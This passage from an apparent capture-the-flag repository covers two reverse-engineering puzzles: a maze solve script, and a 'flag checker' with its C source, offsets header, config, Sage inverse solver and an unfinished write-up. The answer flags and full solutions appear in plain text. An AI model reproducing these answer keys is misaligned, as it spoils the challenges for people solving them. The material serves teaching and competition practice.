10, 10, 10, 12, 9, 10, 6, 9, 6, 3, 6, 3, 6, 5, 3, 12, 9, 10, 12, 3, 10, 12, 7, 3, 12, 13, 5, 5, 9, 6, 5, 3, 12, 3, 14, 3, 10, 10, 2, 6, 11, 10, 2, 6, 11, 2, 14, 3, 10, 10, 10, 10, 10, 2, 6, 3, 6, 3, 10, 10, 10, 10, 10, 2, 6, 11, 10, 2, 10, 10, 10, 10, 10, 2, 14, 3, 2, 14, 243, 10, 10, 2, 10, 10, 6, 3, 2, 6, 3, 10, 6, 11, 6] ================================================ FILE: rev/connect-the-dots/solve/solve.py ================================================ from maze_data import MAZE_WIDTH, MAZE_HEIGHT, DOTS_DATA, MAZE_DATA from itertools import permutations def prod(arr, n): p = 1 for a in arr: p *= a p %= n return p """ 1. figure out the correct order of dots to get the goal to be 0xff 2. bfs to find path to each dot in the correct order """ MOVES = { 'WEST': (-1, 'h', 0b0001), 'EAST': (1, 'l', 0b0100), 'SOUTH': (MAZE_WIDTH, 'j', 0b0010), 'NORTH': (-MAZE_WIDTH, 'k', 0b1000) } def get_neighbours(maze, pos): neighbours = [] for m in MOVES: dpos, move_char, data_mask = MOVES[m] new_pos = pos + dpos if 0 <= new_pos < len(maze) and (maze[pos] & data_mask == 0): neighbours.append((new_pos, move_char)) return neighbours def bfs(maze, start, goal): visited = {start} parents = {} Q = [start] while len(Q): v = Q.pop(0) if v == goal: return reconstruct_path(parents, goal) for neighbour, move in get_neighbours(maze, v): if neighbour in visited: continue visited.add(neighbour) parents[neighbour] = (v, move) Q.append(neighbour) def reconstruct_path(parents, goal): path = [] moves = [] while goal in parents: moves.insert(0, parents[goal][1]) path.insert(0, goal) goal = parents[goal][0] path.insert(0, goal) return path, ''.join(moves) def get_dot_locations_and_idx(maze): dot_locations = [] for i, p in enumerate(maze): if p & 0b10000000: x = i % MAZE_WIDTH y = i // MAZE_HEIGHT dot_idx = (p >> 4) & 0b111 dot_locations.append((x, y)) return dot_locations # naive but feasible def get_dot_ordering(dot_data_): dot_data = list(enumerate(dot_data_)) for perm in permutations(dot_data): state = 0 for _, z in perm: state &= (z >> 8) state ^= (z & 0xff) if state == 0xff: return [i for i, _ in perm] dot_locs = get_dot_locations_and_idx(MAZE_DATA) win_dot_ordering = get_dot_ordering(DOTS_DATA) print('dot_locations:', dot_locs) print('dot_ordering:', win_dot_ordering) checkpoints = [dot_locs[i] for i in win_dot_ordering] checkpoints = [x + MAZE_WIDTH*y for x, y in checkpoints] win_moves = '' cur_pos = 0 for c in checkpoints: _, moves = bfs(MAZE_DATA, cur_pos, c) cur_pos = c win_moves += moves + 'x' print('win_moves:', win_moves) key = [win_moves[i:i+81] for i in range(0, len(win_moves)-2, 81)] key = [prod(w.encode(), 0xff) for w in key] print('key:', list(key)) ct = [184, 64, 13, 26, 252, 53, 44, 60, 181, 51, 222, 15, 102, 86, 225, 60, 179, 244, 161, 3, 99, 198, 139, 217, 105, 244, 215, 157, 161, 163, 216, 244, 48, 247, 150, 164, 240, 237, 200, 234, 153, 108, 162, 113] flag = bytes([c^k for c,k in zip(ct, key)]) print('flag:', flag.decode()) ================================================ FILE: rev/flag-checker/README.md ================================================ # flag checker **Category:** reversing **Difficulty:** medium-hard **Author:** joseph#8210 What more could you ask for than a program that checks the flag for you? Just guess and check and eventually the flag will be yours! **Attached files:** - ./challenge/flag_checker (sha256: a1e8ef2b2f1d5985ca73d029f207dd86e56d52f1d48a7f6d290c311ff5fb58a1) ================================================ FILE: rev/flag-checker/challenge/flag.txt ================================================ DUCTF{rev3rs1bl3___and___1nv3rtibl3} ================================================ FILE: rev/flag-checker/challenge/flag_checker.c ================================================ #include #include #include #include "offsets.h" #define MAX_NUM_CHILDREN 5 #define BLOCK_SIZE 36 #define NUM_NODES 256 #define NUM_ROUNDS 16 struct node { unsigned char value; struct node** children; }; typedef struct node node_t; unsigned int s; void _srand(unsigned int x) { s = x; } unsigned int _rand() { s = s * 0x9157131 + 0x44799011; return s; } void init() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); } node_t* generate(unsigned char* buf) { _srand(0x1337); node_t** leaves = (node_t**) calloc(MAX_NUM_CHILDREN * NUM_NODES, sizeof(node_t*)); node_t* root = (node_t*) malloc(sizeof(node_t)); leaves[0] = root; int cur_len = 1; int i; for(i = 0; i < NUM_NODES; i++) { // get head of queue node_t* cur = leaves[i]; int num_children = (_rand() % MAX_NUM_CHILDREN); // you are a leaf if(num_children == 0) continue; // add random number of children to queue node_t** children = (node_t**) calloc(num_children, sizeof(node_t*)); for(int j = 0; j < num_children; j++) { node_t* child = (node_t*) malloc(sizeof(node_t)); children[j] = child; leaves[cur_len++] = child; } cur->children = children; // nullify array entry leaves[i] = NULL; } // add values to leaves for(i = 0; i < cur_len; i++) { if(leaves[i] == NULL) continue; leaves[i]->value = buf[_rand() % BLOCK_SIZE]; // 👀 /* int c = _rand() % BLOCK_SIZE; */ /* unsigned int offset = (unsigned int)((long)leaves[i] - (long)root); */ /* printf("%03d | offset: %04x, value: %d\n", i, offset, c); */ /* printf("#define OFFSET_FOR_%02d_%d 0x%x\n", c, i, offset); */ } return root; } void permute(unsigned char* input, node_t* root) { input[0] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_23_216); input[1] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_16_500); input[2] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_19_19); input[3] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_12_37); input[4] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_31_271); input[5] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_24_284); input[6] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_17_281); input[7] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_22_482); input[8] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_13_257); input[9] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_18_127); input[10] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_25_24); input[11] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_30_30); input[12] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_09_417); input[13] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_02_17); input[14] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_11_259); input[15] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_04_412); input[16] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_33_154); input[17] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_26_302); input[18] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_03_117); input[19] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_08_121); input[20] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_05_377); input[21] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_10_294); input[22] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_27_132); input[23] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_32_166); input[24] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_21_104); input[25] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_14_402); input[26] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_35_161); input[27] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_28_316); input[28] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_07_263); input[29] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_00_219); input[30] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_15_503); input[31] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_20_260); input[32] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_29_172); input[33] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_34_414); input[34] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_01_301); input[35] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_06_258); } unsigned char m2(unsigned char b) { return (b << 1) ^ (((b >> 7) & 1) * 0x1b); } void mix_column(unsigned char* input, int idxs[]) { unsigned char b0, b1, b2, b3, b4, b5; unsigned char d0, d1, d2, d3, d4, d5; b0 = input[idxs[0]]; b1 = input[idxs[1]]; b2 = input[idxs[2]]; b3 = input[idxs[3]]; b4 = input[idxs[4]]; b5 = input[idxs[5]]; d0 = b0 ^ m2(b0) ^ b2 ^ m2(b2) ^ (m2(b4)); d1 = b1 ^ m2(b1) ^ b3 ^ m2(b3) ^ (m2(b5)); d2 = m2(b0) ^ b4; d3 = m2(b1) ^ b5; d4 = b0 ^ m2(b0) ^ m2(b2); d5 = b1 ^ m2(b1) ^ m2(b3); input[idxs[0]] = d0; input[idxs[1]] = d1; input[idxs[2]] = d2; input[idxs[3]] = d3; input[idxs[4]] = d4; input[idxs[5]] = d5; } void mix(unsigned char* input) { int c0[6] = {0, 1, 2, 6, 12, 18}; int c1[6] = {3, 4, 5, 11, 17, 23}; int c2[6] = {7, 8, 9, 13, 14, 15}; int c3[6] = {10, 16, 22, 28, 29, 35}; int c4[6] = {19, 20, 24, 25, 26, 30}; int c5[6] = {21, 27, 31, 32, 33, 34}; mix_column(input, c0); mix_column(input, c1); mix_column(input, c2); mix_column(input, c3); mix_column(input, c4); mix_column(input, c5); } void die() { puts("Incorrect :("); exit(1); } unsigned char final[BLOCK_SIZE] = {0x0f, 0x4f, 0x73, 0x3c, 0x41, 0xc6, 0xa4, 0xaf, 0xb4, 0x41, 0xd6, 0x65, 0xc8, 0x99, 0xaa, 0xb3, 0x6c, 0x99, 0x61, 0x3c, 0x4e, 0xdd, 0x70, 0x46, 0x15, 0x66, 0x3c, 0x1b, 0x7f, 0x16, 0xa6, 0x6f, 0x23, 0x13, 0x12, 0x6e}; int main() { init(); unsigned char input[BLOCK_SIZE+1]; printf("What's the flag?: "); fgets((char*)input, sizeof(input), stdin); if(strlen((char*)input) != BLOCK_SIZE) { die(); } for(int i = 0; i < NUM_ROUNDS; i++) { mix(input); node_t* root = generate(input); permute(input, root); } for(int i = 0; i < BLOCK_SIZE; i++) { if(input[i] != final[i]) { die(); } } puts("Correct! :)"); exit(0); } ================================================ FILE: rev/flag-checker/challenge/offsets.h ================================================ #define OFFSET_FOR_20_3 0x90 #define OFFSET_FOR_29_6 0x120 #define OFFSET_FOR_02_17 0x310 #define OFFSET_FOR_19_19 0x370 #define OFFSET_FOR_12_23 0x420 #define OFFSET_FOR_25_24 0x440 #define OFFSET_FOR_30_30 0x5b0 #define OFFSET_FOR_03_33 0x610 #define OFFSET_FOR_12_37 0x6f0 #define OFFSET_FOR_29_42 0x7c0 #define OFFSET_FOR_26_45 0x860 #define OFFSET_FOR_03_51 0x990 #define OFFSET_FOR_04_53 0x9d0 #define OFFSET_FOR_09_55 0xa30 #define OFFSET_FOR_14_56 0xa70 #define OFFSET_FOR_35_62 0xbc0 #define OFFSET_FOR_08_63 0xbe0 #define OFFSET_FOR_21_65 0xc20 #define OFFSET_FOR_06_69 0xce0 #define OFFSET_FOR_11_84 0xfb0 #define OFFSET_FOR_28_87 0x1050 #define OFFSET_FOR_33_96 0x11e0 #define OFFSET_FOR_26_97 0x1200 #define OFFSET_FOR_03_99 0x1260 #define OFFSET_FOR_16_103 0x1310 #define OFFSET_FOR_21_104 0x1330 #define OFFSET_FOR_22_115 0x1520 #define OFFSET_FOR_03_117 0x1580 #define OFFSET_FOR_08_121 0x1620 #define OFFSET_FOR_01_124 0x16c0 #define OFFSET_FOR_18_127 0x1750 #define OFFSET_FOR_27_132 0x1840 #define OFFSET_FOR_12_138 0x1920 #define OFFSET_FOR_33_154 0x1bf0 #define OFFSET_FOR_30_155 0x1c40 #define OFFSET_FOR_35_161 0x1d40 #define OFFSET_FOR_32_166 0x1e20 #define OFFSET_FOR_29_172 0x1f40 #define OFFSET_FOR_18_173 0x1f80 #define OFFSET_FOR_35_176 0x2020 #define OFFSET_FOR_16_190 0x22a0 #define OFFSET_FOR_33_193 0x2330 #define OFFSET_FOR_30_210 0x2630 #define OFFSET_FOR_23_216 0x2730 #define OFFSET_FOR_00_219 0x27b0 #define OFFSET_FOR_33_236 0x2af0 #define OFFSET_FOR_26_245 0x2c90 #define OFFSET_FOR_15_247 0x2cf0 #define OFFSET_FOR_32_256 0x2e80 #define OFFSET_FOR_13_257 0x2ea0 #define OFFSET_FOR_06_258 0x2ef0 #define OFFSET_FOR_11_259 0x2f10 #define OFFSET_FOR_20_260 0x2f30 #define OFFSET_FOR_33_261 0x2f50 #define OFFSET_FOR_06_262 0x2f90 #define OFFSET_FOR_07_263 0x2fb0 #define OFFSET_FOR_04_264 0x3000 #define OFFSET_FOR_25_265 0x3020 #define OFFSET_FOR_18_266 0x3040 #define OFFSET_FOR_35_267 0x3060 #define OFFSET_FOR_16_268 0x30a0 #define OFFSET_FOR_33_269 0x30e0 #define OFFSET_FOR_34_270 0x3100 #define OFFSET_FOR_31_271 0x3120 #define OFFSET_FOR_12_272 0x3160 #define OFFSET_FOR_13_273 0x3180 #define OFFSET_FOR_06_274 0x31a0 #define OFFSET_FOR_23_275 0x31e0 #define OFFSET_FOR_00_276 0x3200 #define OFFSET_FOR_33_277 0x3220 #define OFFSET_FOR_18_278 0x3270 #define OFFSET_FOR_31_279 0x3290 #define OFFSET_FOR_32_280 0x32b0 #define OFFSET_FOR_17_281 0x32d0 #define OFFSET_FOR_18_282 0x3310 #define OFFSET_FOR_31_283 0x3330 #define OFFSET_FOR_24_284 0x3370 #define OFFSET_FOR_05_285 0x3390 #define OFFSET_FOR_02_286 0x33b0 #define OFFSET_FOR_27_287 0x3400 #define OFFSET_FOR_00_288 0x3420 #define OFFSET_FOR_25_289 0x3440 #define OFFSET_FOR_18_290 0x3460 #define OFFSET_FOR_15_291 0x34a0 #define OFFSET_FOR_04_292 0x34c0 #define OFFSET_FOR_33_293 0x34e0 #define OFFSET_FOR_10_294 0x3520 #define OFFSET_FOR_35_295 0x3570 #define OFFSET_FOR_00_296 0x3590 #define OFFSET_FOR_33_297 0x35b0 #define OFFSET_FOR_10_298 0x35d0 #define OFFSET_FOR_07_299 0x3610 #define OFFSET_FOR_08_300 0x3630 #define OFFSET_FOR_01_301 0x3650 #define OFFSET_FOR_26_302 0x3690 #define OFFSET_FOR_11_303 0x36d0 #define OFFSET_FOR_04_304 0x36f0 #define OFFSET_FOR_17_305 0x3730 #define OFFSET_FOR_26_306 0x3770 #define OFFSET_FOR_23_307 0x3790 #define OFFSET_FOR_12_308 0x37b0 #define OFFSET_FOR_05_309 0x37f0 #define OFFSET_FOR_02_310 0x3830 #define OFFSET_FOR_15_311 0x3850 #define OFFSET_FOR_20_312 0x3870 #define OFFSET_FOR_09_313 0x38b0 #define OFFSET_FOR_18_314 0x38d0 #define OFFSET_FOR_15_315 0x3910 #define OFFSET_FOR_28_316 0x3930 #define OFFSET_FOR_09_317 0x3970 #define OFFSET_FOR_06_318 0x3990 #define OFFSET_FOR_35_319 0x39d0 #define OFFSET_FOR_24_320 0x39f0 #define OFFSET_FOR_13_321 0x3a10 #define OFFSET_FOR_06_322 0x3a50 #define OFFSET_FOR_15_323 0x3aa0 #define OFFSET_FOR_12_324 0x3ac0 #define OFFSET_FOR_17_325 0x3ae0 #define OFFSET_FOR_02_326 0x3b00 #define OFFSET_FOR_31_327 0x3b40 #define OFFSET_FOR_20_328 0x3b60 #define OFFSET_FOR_21_329 0x3b80 #define OFFSET_FOR_10_330 0x3bc0 #define OFFSET_FOR_35_331 0x3c10 #define OFFSET_FOR_28_332 0x3c30 #define OFFSET_FOR_01_333 0x3c50 #define OFFSET_FOR_22_334 0x3c70 #define OFFSET_FOR_27_335 0x3cb0 #define OFFSET_FOR_20_336 0x3cd0 #define OFFSET_FOR_33_337 0x3cf0 #define OFFSET_FOR_34_338 0x3d30 #define OFFSET_FOR_15_339 0x3d70 #define OFFSET_FOR_08_340 0x3db0 #define OFFSET_FOR_21_341 0x3df0 #define OFFSET_FOR_14_342 0x3e10 #define OFFSET_FOR_23_343 0x3e30 #define OFFSET_FOR_24_344 0x3e70 #define OFFSET_FOR_33_345 0x3e90 #define OFFSET_FOR_26_346 0x3eb0 #define OFFSET_FOR_27_347 0x3ef0 #define OFFSET_FOR_04_348 0x3f30 #define OFFSET_FOR_25_349 0x3f50 #define OFFSET_FOR_10_350 0x3f70 #define OFFSET_FOR_15_351 0x3fb0 #define OFFSET_FOR_08_352 0x3ff0 #define OFFSET_FOR_13_353 0x4040 #define OFFSET_FOR_10_354 0x4060 #define OFFSET_FOR_07_355 0x4080 #define OFFSET_FOR_08_356 0x40a0 #define OFFSET_FOR_01_357 0x40e0 #define OFFSET_FOR_34_358 0x4130 #define OFFSET_FOR_03_359 0x4150 #define OFFSET_FOR_16_360 0x4170 #define OFFSET_FOR_33_361 0x4190 #define OFFSET_FOR_26_362 0x41d0 #define OFFSET_FOR_03_363 0x41f0 #define OFFSET_FOR_04_364 0x4230 #define OFFSET_FOR_33_365 0x4250 #define OFFSET_FOR_30_366 0x4270 #define OFFSET_FOR_27_367 0x42c0 #define OFFSET_FOR_12_368 0x42e0 #define OFFSET_FOR_01_369 0x4300 #define OFFSET_FOR_26_370 0x4320 #define OFFSET_FOR_03_371 0x4360 #define OFFSET_FOR_04_372 0x4380 #define OFFSET_FOR_09_373 0x43c0 #define OFFSET_FOR_26_374 0x43e0 #define OFFSET_FOR_15_375 0x4400 #define OFFSET_FOR_08_376 0x4440 #define OFFSET_FOR_05_377 0x4480 #define OFFSET_FOR_34_378 0x44a0 #define OFFSET_FOR_15_379 0x44e0 #define OFFSET_FOR_12_380 0x4520 #define OFFSET_FOR_21_381 0x4540 #define OFFSET_FOR_02_382 0x4580 #define OFFSET_FOR_07_383 0x45a0 #define OFFSET_FOR_04_384 0x45c0 #define OFFSET_FOR_25_385 0x4600 #define OFFSET_FOR_34_386 0x4620 #define OFFSET_FOR_11_387 0x4660 #define OFFSET_FOR_20_388 0x4680 #define OFFSET_FOR_13_389 0x46a0 #define OFFSET_FOR_34_390 0x46e0 #define OFFSET_FOR_11_391 0x4700 #define OFFSET_FOR_08_392 0x4720 #define OFFSET_FOR_33_393 0x4770 #define OFFSET_FOR_02_394 0x4790 #define OFFSET_FOR_23_395 0x47b0 #define OFFSET_FOR_20_396 0x47d0 #define OFFSET_FOR_13_397 0x4810 #define OFFSET_FOR_10_398 0x4830 #define OFFSET_FOR_35_399 0x4850 #define OFFSET_FOR_20_400 0x4890 #define OFFSET_FOR_09_401 0x48b0 #define OFFSET_FOR_14_402 0x48d0 #define OFFSET_FOR_35_403 0x4910 #define OFFSET_FOR_12_404 0x4930 #define OFFSET_FOR_13_405 0x4950 #define OFFSET_FOR_10_406 0x4990 #define OFFSET_FOR_19_407 0x49b0 #define OFFSET_FOR_08_408 0x49f0 #define OFFSET_FOR_21_409 0x4a10 #define OFFSET_FOR_10_410 0x4a50 #define OFFSET_FOR_31_411 0x4aa0 #define OFFSET_FOR_04_412 0x4ac0 #define OFFSET_FOR_17_413 0x4ae0 #define OFFSET_FOR_34_414 0x4b00 #define OFFSET_FOR_11_415 0x4b50 #define OFFSET_FOR_16_416 0x4b70 #define OFFSET_FOR_09_417 0x4b90 #define OFFSET_FOR_14_418 0x4bb0 #define OFFSET_FOR_27_419 0x4bf0 #define OFFSET_FOR_16_420 0x4c10 #define OFFSET_FOR_33_421 0x4c60 #define OFFSET_FOR_26_422 0x4c80 #define OFFSET_FOR_23_423 0x4ca0 #define OFFSET_FOR_08_424 0x4cc0 #define OFFSET_FOR_01_425 0x4d00 #define OFFSET_FOR_22_426 0x4d40 #define OFFSET_FOR_23_427 0x4d60 #define OFFSET_FOR_08_428 0x4da0 #define OFFSET_FOR_09_429 0x4de0 #define OFFSET_FOR_34_430 0x4e00 #define OFFSET_FOR_03_431 0x4e40 #define OFFSET_FOR_24_432 0x4e60 #define OFFSET_FOR_01_433 0x4ea0 #define OFFSET_FOR_26_434 0x4ee0 #define OFFSET_FOR_15_435 0x4f00 #define OFFSET_FOR_12_436 0x4f20 #define OFFSET_FOR_29_437 0x4f60 #define OFFSET_FOR_10_438 0x4f80 #define OFFSET_FOR_35_439 0x4fa0 #define OFFSET_FOR_28_440 0x4fe0 #define OFFSET_FOR_01_441 0x5000 #define OFFSET_FOR_10_442 0x5020 #define OFFSET_FOR_23_443 0x5060 #define OFFSET_FOR_00_444 0x5080 #define OFFSET_FOR_21_445 0x50d0 #define OFFSET_FOR_10_446 0x50f0 #define OFFSET_FOR_35_447 0x5110 #define OFFSET_FOR_24_448 0x5130 #define OFFSET_FOR_33_449 0x5180 #define OFFSET_FOR_18_450 0x51a0 #define OFFSET_FOR_07_451 0x51c0 #define OFFSET_FOR_28_452 0x51e0 #define OFFSET_FOR_13_453 0x5220 #define OFFSET_FOR_30_454 0x5260 #define OFFSET_FOR_23_455 0x52a0 #define OFFSET_FOR_08_456 0x52c0 #define OFFSET_FOR_09_457 0x5300 #define OFFSET_FOR_30_458 0x5320 #define OFFSET_FOR_03_459 0x5340 #define OFFSET_FOR_08_460 0x5380 #define OFFSET_FOR_13_461 0x53a0 #define OFFSET_FOR_26_462 0x53e0 #define OFFSET_FOR_23_463 0x5420 #define OFFSET_FOR_24_464 0x5460 #define OFFSET_FOR_33_465 0x5480 #define OFFSET_FOR_10_466 0x54a0 #define OFFSET_FOR_19_467 0x54e0 #define OFFSET_FOR_20_468 0x5530 #define OFFSET_FOR_29_469 0x5550 #define OFFSET_FOR_02_470 0x5570 #define OFFSET_FOR_23_471 0x5590 #define OFFSET_FOR_32_472 0x55d0 #define OFFSET_FOR_05_473 0x5610 #define OFFSET_FOR_34_474 0x5650 #define OFFSET_FOR_11_475 0x5670 #define OFFSET_FOR_24_476 0x56b0 #define OFFSET_FOR_09_477 0x56f0 #define OFFSET_FOR_30_478 0x5710 #define OFFSET_FOR_15_479 0x5730 #define OFFSET_FOR_32_480 0x5770 #define OFFSET_FOR_29_481 0x5790 #define OFFSET_FOR_22_482 0x57b0 #define OFFSET_FOR_11_483 0x57f0 #define OFFSET_FOR_12_484 0x5830 #define OFFSET_FOR_09_485 0x5850 #define OFFSET_FOR_10_486 0x5870 #define OFFSET_FOR_23_487 0x58c0 #define OFFSET_FOR_24_488 0x58e0 #define OFFSET_FOR_33_489 0x5900 #define OFFSET_FOR_02_490 0x5920 #define OFFSET_FOR_35_491 0x5960 #define OFFSET_FOR_32_492 0x59a0 #define OFFSET_FOR_21_493 0x59c0 #define OFFSET_FOR_26_494 0x59e0 #define OFFSET_FOR_15_495 0x5a20 #define OFFSET_FOR_08_496 0x5a40 #define OFFSET_FOR_09_497 0x5a80 #define OFFSET_FOR_26_498 0x5aa0 #define OFFSET_FOR_23_499 0x5ac0 #define OFFSET_FOR_16_500 0x5b00 #define OFFSET_FOR_13_501 0x5b20 #define OFFSET_FOR_26_502 0x5b60 #define OFFSET_FOR_15_503 0x5b80 ================================================ FILE: rev/flag-checker/challenge.yml ================================================ version: "0.1" id: flag-checker name: flag checker category: reversing description: > What more could you ask for than a program that checks the flag for you? Just guess and check and eventually the flag will be yours! Author: joseph#8210 tags: - hard files: - ./challenge/flag_checker flags: - DUCTF{rev3rs1bl3___and___1nv3rtibl3} ================================================ FILE: rev/flag-checker/solve/solve.sage ================================================ R. = PolynomialRing(GF(2)) F = GF(2^8, alpha, modulus=alpha^8 + alpha^4 + alpha^3 + alpha + 1) Fi = F.fetch_int # K. = PolynomialRing(F) # S. = PolynomialRing(K) # m = Y^6 + Y^2 + Fi(1) # f = b0 + b1*Y + b2*Y^2 + b3*Y^3 + b4*Y^4 + b5*Y^5 # c = Fi(2)*Y^6 + Fi(3)*Y^4 + Fi(1) M = [ [3, 0, 3, 0, 2, 0], [0, 3, 0, 3, 0, 2], [2, 0, 0, 0, 1, 0], [0, 2, 0, 0, 0, 1], [3, 0, 2, 0, 0, 0], [0, 3, 0, 2, 0, 0], ] M = [[Fi(x) for x in r] for r in M] M = Matrix(F, M) NUM_ROUNDS = 16 PBOX = [23, 16, 19, 12, 31, 24, 17, 22, 13, 18, 25, 30, 9, 2, 11, 4, 33, 26, 3, 8, 5, 10, 27, 32, 21, 14, 35, 28, 7, 0, 15, 20, 29, 34, 1, 6] C0 = [0, 1, 2, 6, 12, 18] C1 = [3, 4, 5, 11, 17, 23] C2 = [7, 8, 9, 13, 14, 15] C3 = [10, 16, 22, 28, 29, 35] C4 = [19, 20, 24, 25, 26, 30] C5 = [21, 27, 31, 32, 33, 34] Cs = [C0, C1, C2, C3, C4, C5] def permute(M): M_ = copy(M) for i,p in enumerate(PBOX): M_[i] = M[p] return M_ def inv_permute(M): M_ = copy(M) for i,p in enumerate(PBOX): M_[p] = M[i] return M_ def mix_column(col): v = vector(F, [Fi(x) for x in col]) w = [x.integer_representation() for x in list(M * v)] return w def inv_mix_column(col): v = vector(F, [Fi(x) for x in col]) w = [x.integer_representation() for x in list(~M * v)] return w def mix(M): V = [mix_column([M[i] for i in C]) for C in Cs] out = [None]*sum(len(r) for r in V) for i in range(len(V)): for idx, v in zip(Cs[i], V[i]): out[idx] = v return out def inv_mix(M): V = [inv_mix_column([M[i] for i in C]) for C in Cs] out = [None]*sum(len(r) for r in V) for i in range(len(V)): for idx, v in zip(Cs[i], V[i]): out[idx] = v return out output = [0x0f, 0x4f, 0x73, 0x3c, 0x41, 0xc6, 0xa4, 0xaf, 0xb4, 0x41, 0xd6, 0x65, 0xc8, 0x99, 0xaa, 0xb3, 0x6c, 0x99, 0x61, 0x3c, 0x4e, 0xdd, 0x70, 0x46, 0x15, 0x66, 0x3c, 0x1b, 0x7f, 0x16, 0xa6, 0x6f, 0x23, 0x13, 0x12, 0x6e] for _ in range(NUM_ROUNDS): output = inv_permute(output) output = inv_mix(output) print(''.join(map(chr, output))) ================================================ FILE: rev/flag-checker/solve/writeup.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "id": "c99fcd90", "metadata": {}, "source": [ "# Challenge Overview\n", "\n", "We are given a typical flag checker binary which prompts us for the flag and prints whether or not our guess is correct. The binary is stripped, but there are not many functions and it is relatively easy to identify the core functions.\n", "\n", "The main function looks like this (cleaned up, and other functions named appropriately - we'll get to those later):\n", "\n", "```C\n", "void main(void)\n", "\n", "{\n", " size_t input_length;\n", " undefined8 tree;\n", " long in_FS_OFFSET;\n", " int i;\n", " int j;\n", " char input [40];\n", " undefined8 uStack16;\n", " \n", " uStack16 = *(undefined8 *)(in_FS_OFFSET + 0x28);\n", " init();\n", " printf(\"What\\'s the flag?: \");\n", " fgets(input,0x25,stdin);\n", " input_length = strlen(input);\n", " if (input_length != 0x24) {\n", " die();\n", " }\n", " for (i = 0; i < 0x10; i = i + 1) {\n", " mix(input);\n", " tree = generate_tree(input);\n", " permute(input,tree);\n", " }\n", " for (j = 0; j < 0x24; j = j + 1) {\n", " if (input[j] != (&FINAL)[j]) {\n", " die();\n", " }\n", " }\n", " puts(\"Correct! :)\");\n", " /* WARNING: Subroutine does not return */\n", " exit(0);\n", "}\n", "```\n", "\n", "We see that the flag should be of length 36, and that it is passed through some functions 16 times before being compared to a fixed hardcoded value.\n", "\n", "This for loop is where all the transformations seem to happen:\n", "\n", "```C\n", " for (i = 0; i < 0x10; i = i + 1) {\n", " mix(input);\n", " tree = generate_tree(input);\n", " permute(input,tree);\n", " }\n", "```\n", "\n", "We'll go through each of these functions.\n", "\n", "## Mixing Step\n", "\n", "The function at `0x19fa` (which we named `mix`) defines six different arrays containing six integers as follows:\n", "\n", "```C\n", " int c0[6] = {0, 1, 2, 6, 12, 18};\n", " int c1[6] = {3, 4, 5, 11, 17, 23};\n", " int c2[6] = {7, 8, 9, 13, 14, 15};\n", " int c3[6] = {10, 16, 22, 28, 29, 35};\n", " int c4[6] = {19, 20, 24, 25, 26, 30};\n", " int c5[6] = {21, 27, 31, 32, 33, 34};\n", "```\n", "\n", "and then calls another function, at `0x17f0` (which we will call `mix_column`) six times, each with the input and one of the above int arrays:\n", "\n", "```C\n", " mix_column(input,c0);\n", " mix_column(input,c1);\n", " mix_column(input,c2);\n", " mix_column(input,c3);\n", " mix_column(input,c4);\n", " mix_column(input,c5);\n", "```\n", "\n", "The `mix_column` function itself makes extensive use of another function at `0x17c3` (which we will just call `m`) that performs some simple bit operations on its input:\n", "\n", "```C\n", "uint m(byte param_1)\n", "{\n", " return (uint)(param_1 >> 7) * 0x1b ^ (uint)param_1 * 2;\n", "}\n", "```\n", "\n", "Back to the `mix` function, we see that it modifies the input in-place with the index being decided by the second argument (the array of six integers). We can notice that all of the integers defined in `c0`, `c1`, ..., `c5` cover all the integers from `0` to `35`, so it seems like this function simply transforms these \"chunks\" of the input independently.\n", "\n", "The modified value itself is calculated as the XOR sum of some combination of the original inputs and `m` applied to the original inputs.\n", "\n", "## Tree Generation\n", "\n", "The function at `0x1232` (which we named `generate_tree`) allocates a bunch of memory and randomly populates it with data based on the input. We can see that a custom rand function is being used which is just a simple LCG, and it is seeded at the start of the `generate_tree` function, so since this function doesn't use any other global variables, it should be deterministic and always output the same value for a given input.\n", "\n", "Obviously, we don't have function names so appropriately naming this function `generate_tree` was done in hindsight. But we can gather some information that leads us to this conclusion about the function by looking at what it actually does. For a rough overview; it allocates a large chunk (an array) of memory and another chunk of size 16, setting the first entry of the array to this size 16 value. It then iterates for 256 iterations taking the \"current\" entry `n` and randomly choosing a number `r` between 0 and 4 and making `r` further allocations of size 16, adding these new values to `n` (specifuically, the latter 8 bytes of `n` which seems to be an array by its usage) as well as the array. Then, it loops through every non-null entry in the array and assigns the first 8 bytes a random element of the input.\n", "\n", "Conceptually, the data structure looks something like this:\n", "\n", "![tree.png](./assets/tree.png)\n", "\n", "## Permutation Step\n", "\n", "The final function called in the main loop is the `permute` function which takes as arguments the (current transformed) input, and the root node of the tree generated in the tree generation step. Presumably, this function will transform the input in some way based on the tree structure. 